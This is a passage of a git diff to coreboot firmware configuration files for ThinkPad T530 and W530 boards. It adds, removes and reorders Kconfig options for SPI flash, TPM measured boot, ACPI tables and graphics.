CONFIG_ARCH_ALL_STAGES_X86_32=y CONFIG_HAVE_EXP_X86_64_SUPPORT=y -# CONFIG_USE_EXP_X86_64_SUPPORT is not set +CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y -CONFIG_NUM_IPI_STARTS=2 +CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y +CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 CONFIG_PC80_SYSTEM=y CONFIG_HAVE_CMOS_DEFAULT=y CONFIG_POSTCAR_STAGE=y @@ -400,6 +408,7 @@ CONFIG_COLLECT_TIMESTAMPS_TSC=y CONFIG_HAVE_CF9_RESET=y CONFIG_DEBUG_HW_BREAKPOINTS=y CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y +# CONFIG_DUMP_SMBIOS_TYPE17 is not set # end of Chipset # @@ -460,8 +469,7 @@ CONFIG_BOOTSPLASH=y CONFIG_PCI=y CONFIG_ECAM_MMCONF_SUPPORT=y CONFIG_PCIX_PLUGIN_SUPPORT=y -CONFIG_CARDBUS_PLUGIN_SUPPORT=y -CONFIG_AZALIA_PLUGIN_SUPPORT=y +CONFIG_AZALIA_HDA_CODEC_SUPPORT=y CONFIG_PCIEXP_PLUGIN_SUPPORT=y CONFIG_ECAM_MMCONF_LENGTH=0x04000000 CONFIG_PCI_ALLOW_BUS_MASTER=y @@ -483,10 +491,6 @@ CONFIG_INTEL_GMA_ADD_VBT=y # CONFIG_SOFTWARE_I2C is not set CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 # CONFIG_RESOURCE_ALLOCATION_TOP_DOWN is not set -CONFIG_NO_DDR5=y -CONFIG_NO_LPDDR4=y -CONFIG_NO_DDR4=y -CONFIG_NO_DDR2=y CONFIG_USE_DDR3=y # end of Devices @@ -497,21 +501,18 @@ CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 # CONFIG_ELOG is not set CONFIG_CACHE_MRC_SETTINGS=y # CONFIG_MRC_SETTINGS_PROTECT is not set -CONFIG_MRC_STASH_TO_CBMEM=y # CONFIG_SMMSTORE is not set CONFIG_SPI_FLASH=y CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y -CONFIG_BOOT_DEVICE_SPI_FLASH_NO_EARLY_WRITES=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y # CONFIG_SPI_FLASH_NO_FAST_READ is not set CONFIG_SPI_FLASH_ADESTO=y CONFIG_SPI_FLASH_AMIC=y CONFIG_SPI_FLASH_ATMEL=y CONFIG_SPI_FLASH_EON=y -CONFIG_SPI_FLASH_GIGADEVICE=y CONFIG_SPI_FLASH_MACRONIX=y CONFIG_SPI_FLASH_SPANSION=y CONFIG_SPI_FLASH_SST=y -CONFIG_SPI_FLASH_STMICRO=y CONFIG_TPM_INIT_RAMSTAGE=y # CONFIG_TPM_PPI is not set CONFIG_NO_UART_ON_SUPERIO=y @@ -528,13 +529,17 @@ CONFIG_HAVE_USBDEBUG_OPTIONS=y # CONFIG_DRIVERS_I2C_MAX98396 is not set CONFIG_INTEL_INT15=y CONFIG_INTEL_GMA_ACPI=y +CONFIG_VBT_CBFS_COMPRESSION_LZMA=y +# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set +# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set +CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" CONFIG_GFX_GMA_PANEL_1_ON_LVDS=y -CONFIG_INTEL_GMA_OPREGION_2_0=y CONFIG_DRIVERS_LENOVO_HYBRID_GRAPHICS=y # CONFIG_DRIVERS_NXP_UWB_SR1XX is not set # CONFIG_DRIVERS_PS2_KEYBOARD is not set CONFIG_DRIVERS_MC146818=y # CONFIG_USE_PC_CMOS_ALTCENTURY is not set +CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 # CONFIG_DRIVERS_SIL_3114 is not set @@ -568,7 +573,12 @@ CONFIG_MAINBOARD_HAS_TPM1=y # CONFIG_DEBUG_TPM is not set # CONFIG_TPM_RDRESP_NEED_DELAY is not set CONFIG_TPM_LOG_CB=y +# CONFIG_TPM_LOG_TPM1 is not set CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" +CONFIG_PCR_BOOT_MODE=1 +CONFIG_PCR_HWID=1 +CONFIG_PCR_SRTM=2 +CONFIG_PCR_RUNTIME_DATA=3 # end of Trusted Platform Module # @@ -591,6 +601,9 @@ CONFIG_BOOTMEDIA_LOCK_WHOLE_RO=y CONFIG_ACPI_HAVE_PCAT_8259=y CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y CONFIG_ACPI_SOC_NVS=y +CONFIG_ACPI_NO_CUSTOM_MADT=y +CONFIG_ACPI_COMMON_MADT_LAPIC=y +CONFIG_ACPI_COMMON_MADT_IOAPIC=y CONFIG_HAVE_ACPI_TABLES=y CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y @@ -636,6 +649,7 @@ CONFIG_USE_WATCHDOG_ON_BOOT=y # CONFIG_GENERATE_SMBIOS_TABLES=y CONFIG_SMBIOS_PROVIDED_BY_MOBO=y +CONFIG_BIOS_VENDOR="coreboot" CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # end of System tables @@ -651,13 +665,12 @@ CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # CONFIG_PAYLOAD_LINUXBOOT is not set # CONFIG_PAYLOAD_SEABIOS is not set # CONFIG_PAYLOAD_UBOOT is not set -# CONFIG_PAYLOAD_YABITS is not set # CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" -CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set +CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # @@ -682,6 +695,10 @@ CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # # CONFIG_DISPLAY_MTRRS is not set +# +# Vendorcode Debug Settings +# + # # BLOB Debug Settings # @@ -695,13 +712,13 @@ CONFIG_HAVE_DEBUG_RAM_SETUP=y # CONFIG_DEBUG_RAM_SETUP is not set CONFIG_HAVE_DEBUG_SMBUS=y # CONFIG_DEBUG_SMBUS is not set -# CONFIG_DEBUG_SMI is not set # CONFIG_DEBUG_CONSOLE_INIT is not set # CONFIG_DEBUG_SPI_FLASH is not set # CONFIG_DEBUG_BOOT_STATE is not set # CONFIG_DEBUG_ADA_CODE is not set CONFIG_HAVE_EM100_SUPPORT=y # CONFIG_EM100 is not set +# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set # end of Debugging CONFIG_DECOMPRESS_OFAST=y diff --git a/config/coreboot-t530-maximized.config b/config/coreboot-t530-maximized.config index 50e6d6a6d..f8f1a355d 100644 --- a/config/coreboot-t530-maximized.config +++ b/config/coreboot-t530-maximized.config @@ -22,6 +22,7 @@ CONFIG_USE_OPTION_TABLE=y CONFIG_STATIC_OPTION_TABLE=y CONFIG_COMPRESS_RAMSTAGE_LZMA=y # CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set +CONFIG_SEPARATE_ROMSTAGE=y CONFIG_INCLUDE_CONFIG_FILE=y CONFIG_COLLECT_TIMESTAMPS=y # CONFIG_TIMESTAMPS_ON_CONSOLE is not set @@ -67,6 +68,7 @@ CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # CONFIG_VENDOR_ASUS is not set # CONFIG_VENDOR_BIOSTAR is not set # CONFIG_VENDOR_BOSTENTECH is not set +# CONFIG_VENDOR_BYTEDANCE is not set # CONFIG_VENDOR_CAVIUM is not set # CONFIG_VENDOR_CLEVO is not set # CONFIG_VENDOR_COMPULAB is not set @@ -80,7 +82,9 @@ CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # CONFIG_VENDOR_GOOGLE is not set # CONFIG_VENDOR_HP is not set # CONFIG_VENDOR_IBASE is not set +# CONFIG_VENDOR_IBM is not set # CONFIG_VENDOR_INTEL is not set +# CONFIG_VENDOR_INVENTEC is not set # CONFIG_VENDOR_KONTRON is not set CONFIG_VENDOR_LENOVO=y # CONFIG_VENDOR_LIBRETREND is not set @@ -98,7 +102,6 @@ CONFIG_VENDOR_LENOVO=y # CONFIG_VENDOR_RODA is not set # CONFIG_VENDOR_SAMSUNG is not set # CONFIG_VENDOR_SAPPHIRE is not set -# CONFIG_VENDOR_SCALEWAY is not set # CONFIG_VENDOR_SIEMENS is not set # CONFIG_VENDOR_SIFIVE is not set # CONFIG_VENDOR_STARLABS is not set @@ -123,7 +126,6 @@ CONFIG_MAX_CPUS=8 CONFIG_ONBOARD_VGA_IS_PRIMARY=y CONFIG_DEVICETREE="devicetree.cb" # CONFIG_VBOOT is not set -CONFIG_VBOOT_VBNV_OFFSET=0x2a CONFIG_VARIANT_DIR="t530" CONFIG_OVERRIDE_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/overridetree.cb" # CONFIG_VGA_BIOS is not set @@ -136,13 +138,13 @@ CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" CONFIG_USBDEBUG_HCD_INDEX=2 CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 CONFIG_TPM_PIRQ=0x0 +CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 +CONFIG_ECAM_MMCONF_BUS_NUMBER=64 CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" CONFIG_DCACHE_RAM_BASE=0xfefe0000 CONFIG_DCACHE_RAM_SIZE=0x20000 CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 CONFIG_DCACHE_BSP_STACK_SIZE=0x10000 -CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 -CONFIG_ECAM_MMCONF_BUS_NUMBER=64 CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 CONFIG_HAVE_INTEL_FIRMWARE=y CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 @@ -153,6 +155,10 @@ CONFIG_IFD_BIN_PATH="@BLOB_DIR@/xx30/ifd.bin" CONFIG_ME_BIN_PATH="@BLOB_DIR@/xx30/me.bin" CONFIG_GBE_BIN_PATH="@BLOB_DIR@/xx30/gbe.bin" CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x80000 +CONFIG_CARDBUS_PLUGIN_SUPPORT=y +CONFIG_SPI_FLASH_GIGADEVICE=y +CONFIG_SPI_FLASH_STMICRO=y +# CONFIG_DEBUG_SMI is not set CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="ThinkPad T530" CONFIG_HAVE_IFD_BIN=y CONFIG_PCIEXP_HOTPLUG_BUSES=8 @@ -201,9 +207,12 @@ CONFIG_PS2M_EISAID="LEN0015" CONFIG_THINKPADEC_HKEY_EISAID="LEN0068" CONFIG_GFX_GMA_PANEL_1_PORT="LVDS" CONFIG_BOARD_LENOVO_BASEBOARD_T530=y +CONFIG_D3COLD_SUPPORT=y +CONFIG_PCIEXP_ASPM=y # CONFIG_PCIEXP_L1_SUB_STATE is not set # CONFIG_PCIEXP_CLK_PM is not set # CONFIG_DRIVERS_UART_8250IO is not set +CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 CONFIG_HEAP_SIZE=0x4000 CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y @@ -248,27 +257,27 @@ CONFIG_VERSTAGE_ADDR=0x2000000 CONFIG_SMM_TSEG_SIZE=0x800000 CONFIG_SMM_RESERVED_SIZE=0x100000 CONFIG_SMM_MODULE_STACK_SIZE=0x400 +# CONFIG_USE_EXP_X86_64_SUPPORT is not set CONFIG_SERIRQ_CONTINUOUS_MODE=y -CONFIG_ACPI_CPU_STRING="\\_SB.CP%02X" +CONFIG_PRERAM_CBFS_CACHE_SIZE=0x0 CONFIG_EHCI_BAR=0xfef00000 +CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 -CONFIG_CPU_SPECIFIC_OPTIONS=y CONFIG_IED_REGION_SIZE=0x400000 -CONFIG_VBT_DATA_SIZE_KB=8 CONFIG_INTEL_GMA_BCLV_OFFSET=0x48254 CONFIG_INTEL_GMA_BCLV_WIDTH=16 CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8256 CONFIG_INTEL_GMA_BCLM_WIDTH=16 CONFIG_BOOTBLOCK_IN_CBFS=y CONFIG_DCACHE_RAM_MRC_VAR_SIZE=0x0 +CONFIG_HPET_MIN_TICKS=0x80 CONFIG_FIXED_MCHBAR_MMIO_BASE=0xfed10000 CONFIG_FIXED_DMIBAR_MMIO_BASE=0xfed18000 CONFIG_FIXED_EPBAR_MMIO_BASE=0xfed19000 -CONFIG_PCIEXP_ASPM=y CONFIG_PCIEXP_COMMON_CLOCK=y -CONFIG_HPET_MIN_TICKS=0x80 -CONFIG_CBFS_CACHE_ALIGN=8 CONFIG_FIXED_SMBUS_IO_BASE=0x400 +CONFIG_CBFS_CACHE_ALIGN=8 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 # # CPU @@ -289,12 +298,11 @@ CONFIG_XAPIC_ONLY=y CONFIG_UDELAY_TSC=y CONFIG_TSC_MONOTONIC_TIMER=y CONFIG_TSC_SYNC_MFENCE=y -CONFIG_LOGICAL_CPUS=y CONFIG_HAVE_SMI_HANDLER=y CONFIG_SMM_TSEG=y +CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 CONFIG_AP_STACK_SIZE=0x800 CONFIG_SMP=y -CONFIG_MMX=y CONFIG_SSE=y CONFIG_SSE2=y CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y @@ -337,7 +345,6 @@ CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_RCBA_PIRQ=y CONFIG_HAVE_INTEL_CHIPSET_LOCKDOWN=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMM=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_ACPI_MADT=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_FINALIZE=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_USB_DEBUG=y CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y @@ -385,9 +392,10 @@ CONFIG_ARCH_POSTCAR_X86_32=y CONFIG_ARCH_RAMSTAGE_X86_32=y CONFIG_ARCH_ALL_STAGES_X86_32=y CONFIG_HAVE_EXP_X86_64_SUPPORT=y -# CONFIG_USE_EXP_X86_64_SUPPORT is not set +CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y -CONFIG_NUM_IPI_STARTS=2 +CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y +CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 CONFIG_PC80_SYSTEM=y CONFIG_HAVE_CMOS_DEFAULT=y CONFIG_POSTCAR_STAGE=y @@ -397,6 +405,7 @@ CONFIG_COLLECT_TIMESTAMPS_TSC=y CONFIG_HAVE_CF9_RESET=y CONFIG_DEBUG_HW_BREAKPOINTS=y CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y +# CONFIG_DUMP_SMBIOS_TYPE17 is not set # end of Chipset # @@ -422,8 +431,7 @@ CONFIG_BOOTSPLASH=y CONFIG_PCI=y CONFIG_ECAM_MMCONF_SUPPORT=y CONFIG_PCIX_PLUGIN_SUPPORT=y -CONFIG_CARDBUS_PLUGIN_SUPPORT=y -CONFIG_AZALIA_PLUGIN_SUPPORT=y +CONFIG_AZALIA_HDA_CODEC_SUPPORT=y CONFIG_PCIEXP_PLUGIN_SUPPORT=y CONFIG_ECAM_MMCONF_LENGTH=0x04000000 CONFIG_PCI_ALLOW_BUS_MASTER=y @@ -444,10 +452,6 @@ CONFIG_INTEL_GMA_ADD_VBT=y # CONFIG_SOFTWARE_I2C is not set CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 # CONFIG_RESOURCE_ALLOCATION_TOP_DOWN is not set -CONFIG_NO_DDR5=y -CONFIG_NO_LPDDR4=y -CONFIG_NO_DDR4=y -CONFIG_NO_DDR2=y CONFIG_USE_DDR3=y # end of Devices @@ -458,21 +462,18 @@ CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 # CONFIG_ELOG is not set CONFIG_CACHE_MRC_SETTINGS=y # CONFIG_MRC_SETTINGS_PROTECT is not set -CONFIG_MRC_STASH_TO_CBMEM=y # CONFIG_SMMSTORE is not set CONFIG_SPI_FLASH=y CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y -CONFIG_BOOT_DEVICE_SPI_FLASH_NO_EARLY_WRITES=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y # CONFIG_SPI_FLASH_NO_FAST_READ is not set CONFIG_SPI_FLASH_ADESTO=y CONFIG_SPI_FLASH_AMIC=y CONFIG_SPI_FLASH_ATMEL=y CONFIG_SPI_FLASH_EON=y -CONFIG_SPI_FLASH_GIGADEVICE=y CONFIG_SPI_FLASH_MACRONIX=y CONFIG_SPI_FLASH_SPANSION=y CONFIG_SPI_FLASH_SST=y -CONFIG_SPI_FLASH_STMICRO=y CONFIG_TPM_INIT_RAMSTAGE=y # CONFIG_TPM_PPI is not set CONFIG_NO_UART_ON_SUPERIO=y @@ -489,9 +490,12 @@ CONFIG_HAVE_USBDEBUG_OPTIONS=y # CONFIG_DRIVERS_I2C_MAX98396 is not set CONFIG_INTEL_INT15=y CONFIG_INTEL_GMA_ACPI=y +CONFIG_VBT_CBFS_COMPRESSION_LZMA=y +# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set +# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set +CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" CONFIG_GFX_GMA=y CONFIG_GFX_GMA_PANEL_1_ON_LVDS=y -CONFIG_INTEL_GMA_OPREGION_2_0=y CONFIG_GFX_GMA_DYN_CPU=y CONFIG_GFX_GMA_GENERATION="Ironlake" CONFIG_GFX_GMA_PCH="Cougar_Point" @@ -502,6 +506,7 @@ CONFIG_DRIVERS_LENOVO_HYBRID_GRAPHICS=y CONFIG_DRIVERS_PS2_KEYBOARD=y CONFIG_DRIVERS_MC146818=y # CONFIG_USE_PC_CMOS_ALTCENTURY is not set +CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 # CONFIG_DRIVERS_SIL_3114 is not set @@ -535,7 +540,12 @@ CONFIG_MAINBOARD_HAS_TPM1=y # CONFIG_DEBUG_TPM is not set # CONFIG_TPM_RDRESP_NEED_DELAY is not set CONFIG_TPM_LOG_CB=y +# CONFIG_TPM_LOG_TPM1 is not set CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" +CONFIG_PCR_BOOT_MODE=1 +CONFIG_PCR_HWID=1 +CONFIG_PCR_SRTM=2 +CONFIG_PCR_RUNTIME_DATA=3 # end of Trusted Platform Module # @@ -558,6 +568,9 @@ CONFIG_BOOTMEDIA_LOCK_WHOLE_RO=y CONFIG_ACPI_HAVE_PCAT_8259=y CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y CONFIG_ACPI_SOC_NVS=y +CONFIG_ACPI_NO_CUSTOM_MADT=y +CONFIG_ACPI_COMMON_MADT_LAPIC=y +CONFIG_ACPI_COMMON_MADT_IOAPIC=y CONFIG_HAVE_ACPI_TABLES=y CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y @@ -603,6 +616,7 @@ CONFIG_USE_WATCHDOG_ON_BOOT=y # CONFIG_GENERATE_SMBIOS_TABLES=y CONFIG_SMBIOS_PROVIDED_BY_MOBO=y +CONFIG_BIOS_VENDOR="coreboot" CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # end of System tables @@ -618,13 +632,12 @@ CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # CONFIG_PAYLOAD_LINUXBOOT is not set # CONFIG_PAYLOAD_SEABIOS is not set # CONFIG_PAYLOAD_UBOOT is not set -# CONFIG_PAYLOAD_YABITS is not set # CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" -CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set +CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # @@ -649,6 +662,10 @@ CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # # CONFIG_DISPLAY_MTRRS is not set +# +# Vendorcode Debug Settings +# + # # BLOB Debug Settings # @@ -662,13 +679,13 @@ CONFIG_HAVE_DEBUG_RAM_SETUP=y # CONFIG_DEBUG_RAM_SETUP is not set CONFIG_HAVE_DEBUG_SMBUS=y # CONFIG_DEBUG_SMBUS is not set -# CONFIG_DEBUG_SMI is not set # CONFIG_DEBUG_CONSOLE_INIT is not set # CONFIG_DEBUG_SPI_FLASH is not set # CONFIG_DEBUG_BOOT_STATE is not set # CONFIG_DEBUG_ADA_CODE is not set CONFIG_HAVE_EM100_SUPPORT=y # CONFIG_EM100 is not set +# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set # end of Debugging CONFIG_RAMSTAGE_ADA=y diff --git a/config/coreboot-w530-dgpu-K1000m-maximized.config b/config/coreboot-w530-dgpu-K1000m-maximized.config index d1535454f..837694cb8 100644 --- a/config/coreboot-w530-dgpu-K1000m-maximized.config +++ b/config/coreboot-w530-dgpu-K1000m-maximized.config @@ -22,6 +22,7 @@ CONFIG_USE_OPTION_TABLE=y CONFIG_STATIC_OPTION_TABLE=y CONFIG_COMPRESS_RAMSTAGE_LZMA=y # CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set +CONFIG_SEPARATE_ROMSTAGE=y CONFIG_INCLUDE_CONFIG_FILE=y CONFIG_COLLECT_TIMESTAMPS=y # CONFIG_TIMESTAMPS_ON_CONSOLE is not set @@ -67,6 +68,7 @@ CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # CONFIG_VENDOR_ASUS is not set # CONFIG_VENDOR_BIOSTAR is not set # CONFIG_VENDOR_BOSTENTECH is not set +# CONFIG_VENDOR_BYTEDANCE is not set # CONFIG_VENDOR_CAVIUM is not set # CONFIG_VENDOR_CLEVO is not set # CONFIG_VENDOR_COMPULAB is not set @@ -80,7 +82,9 @@ CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # CONFIG_VENDOR_GOOGLE is not set # CONFIG_VENDOR_HP is not set # CONFIG_VENDOR_IBASE is not set +# CONFIG_VENDOR_IBM is not set # CONFIG_VENDOR_INTEL is not set +# CONFIG_VENDOR_INVENTEC is not set # CONFIG_VENDOR_KONTRON is not set CONFIG_VENDOR_LENOVO=y # CONFIG_VENDOR_LIBRETREND is not set @@ -98,7 +102,6 @@ CONFIG_VENDOR_LENOVO=y # CONFIG_VENDOR_RODA is not set # CONFIG_VENDOR_SAMSUNG is not set # CONFIG_VENDOR_SAPPHIRE is not set -# CONFIG_VENDOR_SCALEWAY is not set # CONFIG_VENDOR_SIEMENS is not set # CONFIG_VENDOR_SIFIVE is not set # CONFIG_VENDOR_STARLABS is not set @@ -123,7 +126,6 @@ CONFIG_VGA_BIOS_DGPU_ID="10de,0ffc" CONFIG_VGA_BIOS_DGPU_FILE="@BLOB_DIR@/xx30/10de,0ffc.rom" CONFIG_DEVICETREE="devicetree.cb" # CONFIG_VBOOT is not set -CONFIG_VBOOT_VBNV_OFFSET=0x2a CONFIG_VARIANT_DIR="w530" CONFIG_OVERRIDE_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/overridetree.cb" CONFIG_VGA_BIOS=y @@ -136,13 +138,13 @@ CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" CONFIG_USBDEBUG_HCD_INDEX=2 CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 CONFIG_TPM_PIRQ=0x0 +CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 +CONFIG_ECAM_MMCONF_BUS_NUMBER=64 CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" CONFIG_DCACHE_RAM_BASE=0xfefe0000 CONFIG_DCACHE_RAM_SIZE=0x20000 CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 CONFIG_DCACHE_BSP_STACK_SIZE=0x10000 -CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 -CONFIG_ECAM_MMCONF_BUS_NUMBER=64 CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 CONFIG_HAVE_INTEL_FIRMWARE=y CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 @@ -154,6 +156,10 @@ CONFIG_ME_BIN_PATH="@BLOB_DIR@/xx30/me.bin" CONFIG_GBE_BIN_PATH="@BLOB_DIR@/xx30/gbe.bin" CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x80000 CONFIG_VGA_BIOS_FILE="@BLOB_DIR@/xx30/8086,0106.rom" +CONFIG_CARDBUS_PLUGIN_SUPPORT=y +CONFIG_SPI_FLASH_GIGADEVICE=y +CONFIG_SPI_FLASH_STMICRO=y +# CONFIG_DEBUG_SMI is not set CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="ThinkPad W530" CONFIG_HAVE_IFD_BIN=y CONFIG_PCIEXP_HOTPLUG_BUSES=8 @@ -201,10 +207,13 @@ CONFIG_PS2K_EISAID="LEN0071" CONFIG_PS2M_EISAID="LEN0015" CONFIG_THINKPADEC_HKEY_EISAID="LEN0068" CONFIG_BOARD_LENOVO_BASEBOARD_T530=y +CONFIG_D3COLD_SUPPORT=y +CONFIG_PCIEXP_ASPM=y # CONFIG_PCIEXP_L1_SUB_STATE is not set # CONFIG_PCIEXP_CLK_PM is not set # CONFIG_DRIVERS_UART_8250IO is not set CONFIG_PRE_GRAPHICS_DELAY_MS=0 +CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 CONFIG_HEAP_SIZE=0x4000 CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y @@ -249,29 +258,29 @@ CONFIG_VERSTAGE_ADDR=0x2000000 CONFIG_SMM_TSEG_SIZE=0x800000 CONFIG_SMM_RESERVED_SIZE=0x100000 CONFIG_SMM_MODULE_STACK_SIZE=0x400 +# CONFIG_USE_EXP_X86_64_SUPPORT is not set # CONFIG_VGA_BIOS_SECOND is not set CONFIG_S3_VGA_ROM_RUN=y CONFIG_SERIRQ_CONTINUOUS_MODE=y -CONFIG_ACPI_CPU_STRING="\\_SB.CP%02X" +CONFIG_PRERAM_CBFS_CACHE_SIZE=0x0 CONFIG_EHCI_BAR=0xfef00000 +CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 -CONFIG_CPU_SPECIFIC_OPTIONS=y CONFIG_IED_REGION_SIZE=0x400000 -CONFIG_VBT_DATA_SIZE_KB=8 CONFIG_INTEL_GMA_BCLV_OFFSET=0x48254 CONFIG_INTEL_GMA_BCLV_WIDTH=16 CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8256 CONFIG_INTEL_GMA_BCLM_WIDTH=16 CONFIG_BOOTBLOCK_IN_CBFS=y CONFIG_DCACHE_RAM_MRC_VAR_SIZE=0x0 +CONFIG_HPET_MIN_TICKS=0x80 CONFIG_FIXED_MCHBAR_MMIO_BASE=0xfed10000 CONFIG_FIXED_DMIBAR_MMIO_BASE=0xfed18000 CONFIG_FIXED_EPBAR_MMIO_BASE=0xfed19000 -CONFIG_PCIEXP_ASPM=y CONFIG_PCIEXP_COMMON_CLOCK=y -CONFIG_HPET_MIN_TICKS=0x80 -CONFIG_CBFS_CACHE_ALIGN=8 CONFIG_FIXED_SMBUS_IO_BASE=0x400 +CONFIG_CBFS_CACHE_ALIGN=8 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 # # CPU @@ -292,12 +301,11 @@ CONFIG_XAPIC_ONLY=y CONFIG_UDELAY_TSC=y CONFIG_TSC_MONOTONIC_TIMER=y CONFIG_TSC_SYNC_MFENCE=y -CONFIG_LOGICAL_CPUS=y CONFIG_HAVE_SMI_HANDLER=y CONFIG_SMM_TSEG=y +CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 CONFIG_AP_STACK_SIZE=0x800 CONFIG_SMP=y -CONFIG_MMX=y CONFIG_SSE=y CONFIG_SSE2=y CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y @@ -340,7 +348,6 @@ CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_RCBA_PIRQ=y CONFIG_HAVE_INTEL_CHIPSET_LOCKDOWN=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMM=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_ACPI_MADT=y 